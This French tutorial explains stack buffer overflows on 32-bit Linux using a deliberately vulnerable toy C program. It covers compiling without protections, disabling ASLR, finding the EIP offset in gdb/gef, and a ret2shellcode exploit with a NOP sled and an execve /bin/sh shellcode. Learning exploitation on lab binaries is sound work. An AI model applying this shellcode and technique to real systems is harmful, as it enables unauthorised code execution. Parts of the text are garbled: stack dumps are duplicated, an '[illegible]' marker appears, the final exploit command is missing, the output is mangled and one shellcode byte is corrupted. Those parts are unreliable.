

[FR] Introduction aux Buffer Overflow

Nous allons dans cet article voir qu'est ce qu'un buffer overflow et comment exploiter notre premier binaire.

- [Brève introduction](#)
- [Passons à la pratique!](#)
- [Premier exploit](#)

Brève introduction

Tout d'abord qu'est ce qu'un buffer overflow? Et à quoi ça sert?

Les buffer overflow sont des failles nous permettant d'exploiter une vulnérabilité présente dans un fichier binaire afin de pouvoir lui faire exécuter ce que l'on veut (enfin quasiment ^^).

Le plus souvent on lui fait exécuter un shell, chose qui peut être très utile, par exemple si le binaire a des permissions SUID ou si il tourne sur un port en remote.

Quelques notions de base à connaître avant d'attaquer cet article:

- La gestion de la mémoire
- Le fonctionnement de la stack
- Et quelques bases en assembleur

Rappel

Pour commencer je vais vous faire un petit rappel sur le déroulement de notre pile (stack) sur un programme qui va tout simplement attendre une entrée utilisateur (stdin) pour ensuite nous l'afficher (stdout)

```
#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[32];
    read(0, buffer, 128);
    puts(buffer);
}

int main() {
    vuln();
}
```

Nous allons ensuite compiler ce programme sans aucune protections, et en 32bit

```
gcc -m32 -fno-stack-protector -no-pie -zexecstack -o vuln vuln.c
```

Executons ce programme:

```
$ ./vuln
AAAAAAAAAAAA
AAAAAAAAAAAA

$
```

Tout se déroule comme prévu

Et voici à quoi la stack ressemblait lorsque nous avons entrée nos "A":

```
0xbfff0000: 41 41 41 41
0xbfff0004: 41 41 41 41
0xbfff0008: 41 41 41 00
...
0xbfff0020: 30 00 ff bf <- sEBP
0xbfff0024: f0 84 04 08 <- sEIP
```

Si pour vous tout est bon on peut donc passer à la suite!

Passons à la pratique!

Première phase de l'exploitation

Nous allons désormais nous appuyer sur le programme précédemment vu afin de l'exploiter

Pour commencer on va désactiver l'ASLR avec cette commande:

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

*ASLR: protection qui va rendre aléatoire certains espace d'adressage

On a vu plus tôt comment le programme fonctionnait en lui donnant quelques "A"

Maintenant voyons voir ce qu'il se passe lorsque nous lui en donnons plus que prévu

```
$ ./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
00
Segmentation fault (core dumped)
$
```

On reçoit un beau segmentation fault (le programme a tout simplement tenté d'accéder à l'adresse 0x41414141, donc nos "A")

Maintenant jettons un petit coup d'oeil à notre stack:

```
0xbfff0000: 41 41 41 41
0xbfff0004: 41 41 41 41
0xbfff0008: 41 41 41 00
...
0xbfff0020: 41 41 41 41 <- sEBP
0xbfff0024: 41 41 41 41 <- sEIP
```

On vient tout simplement d'overwrite notre sauvegarde d'EIP

La vulnérabilité se trouve ici:

```
// vuln()
```

```
char buffer[32];  
read(0, buffer, 128);
```

On va lire 128 caracteres du stdin pour en mettre seulement 32 dans la variable `buffer`, donc logiquement si on entre plus que 32 caractere on va overwrite toutes les addresses qui suivent

Bon, c'est bien beau d'overwrite la sauvegarde de notre return instruction pointer avec des "A" mais maintenant comment va réagir le programme si nous remplacons ces "A" (plus précisément les "A" qui se trouve dans notre sauvegarde d'EIP) par une adresse valide? Une fonction par exemple :)

Je vais pour ce premier exemple utiliser la fonction `getchar` qui va comme `read` attendre une entrée utilisateur

Récupération de l'offset

Pour pouvoir remplacer nos "A" par une adresse valide nous devons d'abord trouver le nombre de "A" à parcourir avant d'arriver à la sauvegarde d'EIP, notre "offset", il existe plusieurs méthodes pour pouvoir faire ça, je vais citer ici la plus simple, ça consiste simplement à envoyer un "pattern" au programme, puis voir où le programme plante, pour faire ça je vais utiliser `gdb` (debugger de GNU) avec l'extension `gef`

Je vais donc lancer gdb sur notre programme `vuln`

```
$ gdb vuln  
Reading symbols from vuln...  
(No debugging symbols found in vuln)  
GEF for linux ready, type `gef' to start, `gef config' to configure  
78 commands loaded for GDB 8.3 using Python engine 3.7  
gef>
```

On va donc commencer par générer notre pattern avec la commande `pattern create <nombre de chars.>`

```
gef> pattern c 100  
[+] Generating a pattern of 100 bytes  
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaakaaa'laamaaaanaaaooaaapaaaqaaar aaasaaataaauaavaawaaaxaa  
[+] Saved as '$_gef0'  
gef>
```

On va ensuite lancer le programme puis lui envoyer notre pattern avec la commande `run`

```
gef> r
```

```

Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaamaaanaaaooaaapaaaqaaar aaasaaataaauaaavaaawaaaxaa
# notre jolie pattern généré plus haut
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaamaaanaaaooaaapaaaqaaar aaasaaataaauaaavaaawaaaxaa

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
...

```

Donc on voit bien que le programme plante car il tente d'accéder à l'adresse `0x6161616c`, qui est en réalité: "laaa" (suite de caractère unique dans notre pattern)

Maintenant on va utiliser la commande `pattern search <fault addr>` pour pouvoir trouver notre offset

```

gef> pattern s 0x6161616c
[+] Searching '0x6161616c'
[+] Found at offset 44 (little-endian search) likely
# [+] Found at offset 41 (big-endian search)
gef>

```

Et voilà on vient de trouver notre offset!

Il nous faudra donc parcourir 44 "A" avant de tomber sur notre sauvegarde d'EIP

Maintenant pour en être sûr, on va envoyer au programme 44 "A" suivi de 4 "B"

```

gef> r < <(python -c 'print "A"*44+"B"*4') # On automatise ce processus avec python
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print
"A"*44+"B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
@00

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
...

```

Voilà, on voit bien que le programme crash car il tente d'accéder à l'adresse `0x42424242` qui sont en réalité nos "B" en hexa'

Hijack de notre sauvegarde d'EIP

Maintenant on va juste modifier nos "B" par une adresse existante, comme je l'ai cité plus haut, je vais choisir la fonction `getchar` (de la librairie stdio que l'on load dans notre programme)

Pour récupérer l'adresse de cette fonction je vais tout simplement avec gdb taper la commande `info address getchar`

```
gef> info address getchar
Symbol "getchar" is at 0xf7e33820 in a file compiled without debugging.
gef>
```

Pour ma part l'adresse de `getchar` est `0xf7e33820`, on va donc mettre ça en little endian (qui est le format utiliser en i386) ce qui nous donne `0x2038e3f7` en envera donc la str "`\x20\x38\xe3\xf7`" grace à python

On va donc essayer:

```
gef> r <<(python -c 'print "A"*44+"\x20\x38\xe3\xf7"')
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln <<(python -c 'print
"A"*44+"\x20\x38\xe3\xf7"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 800
izeiuheiuzhizhf # la fonction getchar s'execute
...
```

On remarque donc que la fonction `getchar` a bien été appelé, tout marche comme prévu :p

Premier exploit

Premier exploit

Maintenant que vous avez vu comment modifier la sauvegarde d'EIP d'une fonction afin de jump à n'importe quelle adresse, on va voir comment faire lancer un shell au programme!

Théorie de l'exploit

Voici comment notre exploit se présentera: `<nopsled> <shellcode> <fake ret addr>`

Pas de panique je vais détailler tout ça, alors on va commencer par envoyer au programme nos `nopsled` (série d'instructions nop 0x90) qui consiste tout simplement à ne rien faire, et à passer à l'instruction suivante :p

Ensuite le `shellcode`, c'est tout simplement une suite d'instruction qui va nous permettre de lancer un shell

Et pour finir la `fake return address`, c'est juste une adresse qui tombe au milieu de nos `nopsled` (l'adresse qui va overwrite la sauvegarde d'EIP)

Pour récapituler le programme va jump au milieu de nos `nopsled` (la stack bouge constamment c'est pour ça qu'on va jump là où se trouve nos `nopsled` au lieu de directement jump là où notre `shellcode` se trouve), ensuite vu que notre stack est executable elle va tout simplement passer à l'instructions suivante, jusqu'à tomber sur notre `shellcode` qui va nous lancer un superbe shell Oo

Pratique

Bon bah on va mettre tout ça en pratique :p

On va commencer par chercher sur internet un shellcode tout fait, je vais en prendre un sur [shell-storm](#), "

```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\b\xcd\x80\x31\xc0
```

", parfait

Ensuite il faut calculer combien de NOP on doit mettre avant le shellcode, le tout doit faire 44 bytes (notre offset), le shellcode fait 23 bytes, on fait juste une petite soustraction, $44-23=21$, on devra donc mettre 21 NOP avant le shellcode

Ensuite la fake return address, la partie la plus chiante, on va lancer notre programme dans gdb, lui envoyer tout nos nopsled, puis voir où ils se trouvent dans notre stack

Ducoup toujours sur gdb, on va lancer le programme en lui envoyant 44 NOPs, puis ensuite grace

à la commande `x/50x $esp-50` on va afficher 50 blocs de notre stack-50, (je vous invite à aller vous documenter à propos de gdb)

```
gef> r < <(python -c 'print "\x90"*44')
...
gef> x/50x $esp-50

0xffffcf1e:      0x90900804      0x90909090      0x90909090      0x90909090
0xffffcf2e:      0x90909090      0x90909090      0x90909090      0x90909090
0xffffcf3e:      0x90909090      0x90909090      0x90909090      0x920a9090
0xffffcf4e:      0x40000804      0x4000f7fa      0x0000f7fa      0x9fb90000
0xffffcf5e:      0x0001f7dd      0xcff40000      0xcffcffff      0xcf84ffff
0xffffcf6e:      0x0001ffff      0x00000000      0x40000000      0x0000f7fa
0xffffcf7e:      0xd0000000      0x0000f7ff      0x40000000      0x4000f7fa
...
```

■ ■ ■

```
gef> x/50x $esp-50
0xffffcf1e:      0x90900804      0x90909090      0x90909090      0x90909090
0xffffcf2e:      0x90909090      0x90909090      0x90909090      0x90909090
0xffffcf3e:      0x90909090      0x90909090      0x90909090      0x920a9090
0xffffcf4e:      0x40000804      0x4000f7fa      0x0000f7fa      0x9fb90000
0xffffcf5e:      0x0001f7dd      0xcff40000      0xcffcffff      0xcf84ffff
0xffffcf6e:      0x0001ffff      0x00000000      0x40000000      0x0000f7fa
0xffffcf7e:      0xd0000000      0x0000f7ff      0x40000000      0x4000f7fa
...
```

```
0xffffcf1e:      0x90900804      0x90909090      0x90909090      0x90909090
```

```
0xffffcf2e:      0x90909090      0x90909090      0x90909090      0x90909090
```

```
0xffffcf3e:  0x90909090      0x90909090      0x90909090      0x920a9090
```

```
0xffffcf4e:      0x40000804      0x4000f7fa      0x0000f7fa      0x9fb90000
```

```
0xffffcf5e: 0x0001f7dd 0xcff40000 0xcffcffff 0xcf84ffff
```

```
0xffffcf6e:      0x0001ffff      0x00000000      0x40000000      0x0000f7fa
```

■ ■ ■

On voit notre série de NOP à partir de la première adresse, vu que la stack bouge beaucoup on va prendre une adresse au milieu `0xffffcf2e` me paraît bien, on met ça en little endian ce qui va rendre `"\x2e\xcf\xff\xff"`

Mettons tout ça en action!

Exploit final: < 21 N0P > < shellcode > < \x2e\xcf\xff\xff >

```
shellcode
```

\x2e\xcf\xff\xff

[illegible]

```
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print
```

```
0000000000000000000000000001Ph//ssh/bin0000°
```

■ ■ ■

\$ 1s

vułn. c vułn

\$

Et voilà le shell c'est bien executé! n'hesiter pas à me faire part de vos avis sur cet article, posez vos questions si il le faut, et dites moi si j'ai fais des erreurs, ce qui est fort probable (ce domaine reste pas celui que je maitrise le mieux :p)